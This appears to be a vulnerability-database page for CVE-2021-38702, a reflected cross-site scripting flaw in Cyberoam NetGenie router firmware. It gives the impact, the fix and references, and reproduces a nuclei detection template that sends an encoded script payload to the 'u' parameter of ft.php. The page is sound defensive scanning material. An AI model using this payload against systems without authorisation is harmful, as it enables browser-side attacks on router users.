Browse / CVEs / CVE-2021-38702
CVE-2021-38702· cyberoamworks / netgenie c0101b1-20141120-ng11vo firmware· CWE-79
Cyberoam NetGenie Cross-Site Scripting
Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-38702 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-38702
info:
name: Cyberoam NetGenie Cross-Site Scripting
author: geeknik
severity: medium
description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
reference:
- https://seclists.org/fulldisclosure/2021/Aug/20
- https://nvd.nist.gov/vuln/detail/CVE-2021-38702
- http://www.cyberoamworks.com/NetGenie-Home.asp
- http://packetstormsecurity.com/files/163859/Cyberoam-NetGenie-Cross-Site-Scripting.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-38702
cwe-id: CWE-79
epss-score: 0.06661
epss-percentile: 0.93943
cpe: cpe:2.3:o:cyberoamworks:netgenie_c0101b1-20141120-ng11vo_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cyberoamworks
product: netgenie_c0101b1-20141120-ng11vo_firmware
tags: cve2021,cve,cyberoam,netgenie,xss,router,seclists,packetstorm,cyberoamworks,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://seclists.org/fulldisclosure/2021/Aug/20
- https://nvd.nist.gov/vuln/detail/CVE-2021-38702
- http://www.cyberoamworks.com/NetGenie-Home.asp
- http://packetstormsecurity.com/files/163859/Cyberoam-NetGenie-Cross-Site-Scripting.html
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from